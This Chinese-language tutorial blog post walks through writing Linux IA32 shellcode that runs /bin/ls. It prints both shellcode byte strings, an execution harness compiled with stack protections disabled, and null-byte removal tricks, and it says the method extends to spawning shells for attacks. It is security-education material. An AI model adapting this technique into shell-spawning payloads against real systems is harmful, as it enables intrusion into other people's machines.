编写一个启动/bin/ls的shellcode(含VMware Tools安装)

一、学习过程

1.ls.c的编写、编译即验证
(1) 编写ls.c

#include <unistd.h>

void foo() {
    char* name[2];
    name[0] = "/bin/ls";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

int main(int argc, char* argv[]) {
    foo();
    return 0;
}

(2) 编译ls.c : gcc ls.c -o ls

(3) 验证ls正确性
①由编写的ls.c实现
在这里插入图片描述
②linux命令ls结果
在这里插入图片描述

成功验证ls正确

2.查看调用sysenter前的寄存器值
(1) 一些列反编译
①disas foo
在这里插入图片描述
在这里插入图片描述

流程:gdb ls进入调试过程,按照上述①②后开始run®

②disas execve
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

流程:调用execve之前反汇编execve,在call处设置断点后,执行c(continue)

③进入内核的虚拟系统调用
在这里插入图片描述

流程:上文执行c后会有点问题,改用si在这里插入图片描述

④disas __kernel_vsyscall (2个_)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

查看调用sysenter前的寄存器值
在这里插入图片描述

流程:按照上述的⑤操作后,执行c,然后接下来要执行的如⑥的图所示 sysenter,这时候,查看寄存器的值

解读:
1)eax保存了execve的系统调用号11;
2)ebx保存字符串name[0] = "/bin/ls"这个指针,如下图所示:
在这里插入图片描述
3)ecx保存字符串数组name这个指针,如下图所示:
在这里插入图片描述

指向0x8048560;

4)edx为0

⑥调用sysenter, 跳转到/bin/ls
在这里插入图片描述
(2) 总结
无需调用execve函数,直接用相同的寄存器的值调用sysenter即可达到相同的目标。

这也就是为啥要查看调用sysenter前的寄存器值

3.ls_asm.c的编写、编译即验证
(1) 编写ls_asm.c

void foo() {
    __asm__(
        "mov $0x0,%edx;"
        "push %edx;"
        "push $0x00736c2f;"
        "push $0x6e69622f;"
        "mov %esp,%ebx;"
        "push %edx;"
        "push %ebx;"
        "mov %esp,%ecx;"
        "mov $0xb,%eax;"
        "int $0x80;"
    );
}

int main(int argc, char* argv[]) {
    foo();
    return 0;
}

解释:
/bin的ASCII码(0x) : 2f 62 69 6e
/ls的ASCII码(0x) : 2f 6c 73
在这里插入图片描述
由于栈底是高地址,栈顶是低地址,所以需要从右往左push,即:
“push $0x00736c2f;”
“push $0x6e69622f;”

(2) 编译ls_asm.c
在这里插入图片描述
(3) 验证ls_asm正确性
在这里插入图片描述
4.编写一个启动/bin/ls的shellcode
(1)前言
从可执行文件中提取出操作码,作为字符串保存为shellcode,并用C程序验证。
(2)从可执行文件中提取出操作码 : objdump
在这里插入图片描述
在这里插入图片描述

其中地址范围在[0x80483de, 0x80483f9]的二进制代码是shellcode所需的操作码,将其按顺序放到字符串中去,该字符串就是实现指定功能的shellcode。

(3) 编写ls_asm_badcode.c
1) 源代码

char shellcode[] = "\xba\x00\x00\x00\x00\x52\x68\x2f\x6c\x73\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80";

void main() {
    ((void(*)())shellcode)();
}

2)编译

gcc -fno-stack-protector -z execstack -o ls_asm_badcode ls_asm_badcode.c 

在这里插入图片描述
3)验证
在这里插入图片描述
5.存在的问题
虽然该 shellcode能实现期望的功能,但 shellcode中存在字符"\x00",而"\x00"是字符串结束标志。
由于 shellcode是要拷贝到缓冲区中去的,在"\x00"之后的代码将丢弃。因此, shellcode中不能存在"\x00"。

6.两种方法避免 shellcode中的"\x00"
(1) 修改汇编代码,用别的汇编指令代替会出现机器码"\x00"的汇编指令,比如用xor %edx,%edx代替mov $0x0,%edx。这种方法适合简短的 shellcode;
(2) 对shellcode进行编码,把解码程序和编码后的 shellcode作为新的shellcode

7.本篇博文采用第1种方法
在这里插入图片描述
1)用xor %edx,%edx代替mov $0x0,%edx
2)用**//bin/ls代替/bin/ls**,汇编码变为:
push $0x736c2f6e;
push $0x69622f2f;

解释:
在这里插入图片描述

3)用lea 0xb(%edx),%eax代替mov $0xb,%eax

8.替换后的结果见"二"

二、学习结果(已踩完坑)

1.newLs.c源代码

#include <unistd.h>

void foo() {
    char* name[2];
    name[0] = "//bin/ls";  //注意,这里是//bin/ls
    name[1] = NULL;
    execve(name[0], name, NULL);
}

int main(int argc, char* argv[]) {
    foo();
    return 0;
}

2.newLs_asm.c源代码

void foo() {
    __asm__(
        "xor %edx,%edx;"
        "push %edx;"
        "push $0x736c2f6e;"
        "push $0x69622f2f;"
        "mov %esp,%ebx;"
        "push %edx;"
        "push %ebx;"
        "mov %esp,%ecx;"
        "lea 0xb(%edx),%eax;"
        "int $0x80;"
    );
}

int main(int argc, char* argv[]) {
    foo();
    return 0;
}

3.newLs_asm_badcode.c的编写过程(编写一个启动/bin/ls的shellcode)
(1)获取shellcode所需的操作码
在这里插入图片描述
在这里插入图片描述
(2)newLs_asm_badcode.c的源代码

char shellcode[] = "\x31\xd2\x52\x68\x6e\x2f\x6c\x73\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

void main() {
    ((void(*)())shellcode)();
}

(3)newLs_asm_badcode.c的编译
在这里插入图片描述
(4)newLs_asm_badcode.c的验证
在这里插入图片描述
4.总结
该 shellcode在目标进程空间运行后将实现ls命令,依次类推也可以实现shell命令,从而可以用于对任何 Linux IA32进程的攻击。

三、扩展阅读

1.需求 : VMware Tools安装

2.需求:Linux下的解压命令小结

3.知识 : linux程序的常用保护机制

涉及:①-fno-stack-protector;②-z execstack
在这里插入图片描述


版权声明:本文为weixin_37477009原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。